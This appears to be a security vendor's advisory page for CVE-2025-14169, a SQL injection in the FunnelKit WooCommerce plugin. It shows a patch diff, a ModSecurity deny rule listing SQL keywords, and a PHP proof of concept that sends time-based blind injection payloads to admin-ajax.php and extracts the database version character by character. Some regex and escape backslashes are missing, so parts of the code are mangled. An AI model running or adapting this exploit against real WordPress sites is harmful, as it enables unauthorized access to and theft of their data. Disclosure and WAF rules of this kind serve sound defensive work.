+			return "SELECT conv.step_id as id, conv.funnel_id as 'fid', conv.contact_id as 'cid', conv.source as 'order_id', CONVERT( conv.bump_total USING utf8) as 'total_revenue', 'bump' as 'type', posts.post_title as 'post_title', conv.timestamp as date FROM " . $wpdb->prefix . 'bwf_conversion_tracking AS conv LEFT JOIN ' . $wpdb->prefix . "posts AS posts ON conv.step_id=posts.ID WHERE conv.type = 2 AND conv.bump_total > 0 AND conv.bump_accepted != '' ORDER BY " . $order_by . ' ' . $order . $limit_clause;

 		}

@@ -234,14 +300,30 @@
 		 */
 		public function get_top_funnels( $limit = '', $date_query = '' ) {
 			global $wpdb;
-			$limit      = ( $limit !== '' ) ? " LIMIT " . $limit : '';
-			$limit    = ! empty( $limit ) ? esc_sql( $limit ) : $limit;
+
+			// Sanitize LIMIT - ensure it's a positive integer
+			$limit_clause = '';
+			if ( '' !== $limit && is_numeric( $limit ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit );
+			}
+
+			// Note: $date_query is expected to be a pre-built date condition
+			// It should only contain 'conv.timestamp' column comparisons with date values
 			$date_query = str_replace( '{{COLUMN}}', 'conv.timestamp', $date_query );
-			$query      = "SELECT funnel.id as fid, funnel.title as title, stats.total as total FROM " . $wpdb->prefix . "bwf_funnels AS funnel
-    				JOIN ( SELECT funnel_id, SUM( bump_total ) as total FROM " . $wpdb->prefix . "bwf_conversion_tracking as conv
-    				WHERE funnel_id != 0 AND type = 2 AND bump_total > 0 AND bump_accepted != '' AND " . esc_sql( $date_query ) . "  GROUP BY funnel_id ) as stats ON funnel.id = stats.funnel_id WHERE 1 = 1 GROUP BY funnel.id ORDER BY total DESC " . $limit;

-			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			// Security: Only allow safe date query patterns
+			// Expected format: "conv.timestamp >= 'YYYY-MM-DD' AND conv.timestamp < 'YYYY-MM-DD'"
+			if ( ! empty( $date_query ) && ! preg_match( '/^conv.timestamps*[<>=]+s*'[d-s:]+'(s+ANDs+conv.timestamps*[<>=]+s*'[d-s:]+')*$/i', $date_query ) ) {
+				$date_query = '1=1'; // Fallback to safe condition if pattern doesn't match
+			}
+
+			$date_condition = ! empty( $date_query ) ? $date_query : '1=1';
+
+			$query = 'SELECT funnel.id as fid, funnel.title as title, stats.total as total FROM ' . $wpdb->prefix . 'bwf_funnels AS funnel
+			JOIN ( SELECT funnel_id, SUM( bump_total ) as total FROM ' . $wpdb->prefix . "bwf_conversion_tracking as conv
+			WHERE funnel_id != 0 AND type = 2 AND bump_total > 0 AND bump_accepted != '' AND " . $date_condition . ' GROUP BY funnel_id ) as stats ON funnel.id = stats.funnel_id WHERE 1 = 1 GROUP BY funnel.id ORDER BY total DESC' . $limit_clause;
+
+			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- date_query is validated above
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -258,14 +340,32 @@
 		 */
 		public function delete_contact( $cids, $funnel_id = 0 ) {
 			global $wpdb;
-			$cid_count                = count( $cids );
-			$stringPlaceholders       = array_fill( 0, $cid_count, '%s' );
-			$placeholdersForFavFruits = implode( ',', $stringPlaceholders );

-			$funnel_query = ( absint( $funnel_id ) > 0 ) ? " AND fid = " . $funnel_id . " " : '';
-			$query        = "DELETE FROM " . $wpdb->prefix . "wfob_stats WHERE cid IN (" . esc_sql( $placeholdersForFavFruits ) . ") " . $funnel_query;
+			// Sanitize all cids as integers
+			$cids      = array_map( 'absint', (array) $cids );
+			$cids      = array_filter( $cids ); // Remove zeros
+			$cid_count = count( $cids );
+
+			if ( empty( $cid_count ) ) {
+				return true;
+			}
+
+			$placeholders = implode( ',', array_fill( 0, $cid_count, '%d' ) );
+			$funnel_id    = absint( $funnel_id );
+
+			if ( $funnel_id > 0 ) {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "wfob_stats WHERE cid IN ($placeholders) AND fid = %d",
+					...array_merge( $cids, array( $funnel_id ) )
+				);
+			} else {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "wfob_stats WHERE cid IN ($placeholders)",
+					...$cids
+				);
+			}

-			$wpdb->query( $wpdb->prepare( $query, $cids ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$wpdb->query( $query );
 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-14169
# Blocks blind SQL injection attempts via the 'opid' parameter in FunnelKit plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202514169,phase:2,deny,status:403,chain,msg:'CVE-2025-14169 - FunnelKit SQL Injection via opid',severity:'CRITICAL',tag:'CVE-2025-14169'"
  SecRule ARGS:action "@rx ^wffn_optin_contacts_analytics_" "chain"
    SecRule ARGS:opid "@rx (SLEEP|BENCHMARK|UNION|SELECT|INSERT|UPDATE|DELETE|ORs+.*=.*|ANDs+.*=.*)" 
      "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14169 - FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.13.1.5 Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Change this to the target WordPress URL

// The vulnerability is blind time-based SQL injection through the 'opid' parameter.
// This PoC demonstrates detecting the injection by checking time delays.

$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// Initial request to confirm the vulnerability exists (time-based detection)
$opid_payload = "1' AND SLEEP(5) AND '1'='1"; // Time-based payload

$post_data = array(
    'action' => 'wffn_optin_contacts_analytics_get_contacts', // Hypothetical AJAX action; adjust per actual implementation
    'opid'   => $opid_payload
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);

$execution_time = $end_time - $start_time;
echo "Execution time: " . $execution_time . " secondsn";
if ($execution_time >= 5) {
    echo "[+] Vulnerability confirmed: SQL Injection with time-based delay detected.n";
} else {
    echo "[-] No delay detected. Vulnerability may not be exploitable via this method.n";
}

// Blind extraction of database version (extract character by character)
echo "n[*] Attempting to extract MySQL version...n";
$extracted = '';
$chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.:-_ ';
// Limit to first 10 characters for demonstration
for ($position = 1; $position <= 10; $position++) {
    $found = false;
    foreach (str_split($chars) as $char) {
        $payload = "1' AND (SELECT IF(SUBSTRING(VERSION(),$position,1)='$char',SLEEP(3),0)) AND '1'='1";
        $post_data['opid'] = $payload;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $endpoint);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $start_time = microtime(true);
        curl_exec($ch);
        $end_time = microtime(true);
        curl_close($ch);
        $exec_time = $end_time - $start_time;
        if ($exec_time >= 3) {
            $extracted .= $char;
            echo "[+] Found character at position $position: $charn";
            $found = true;
            break;
        }
    }
    if (!$found) {
        echo "[-] Character at position $position not found. Stopping.n";
        break;
    }
}
echo "n[*] Extracted version: " . $extracted . "n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.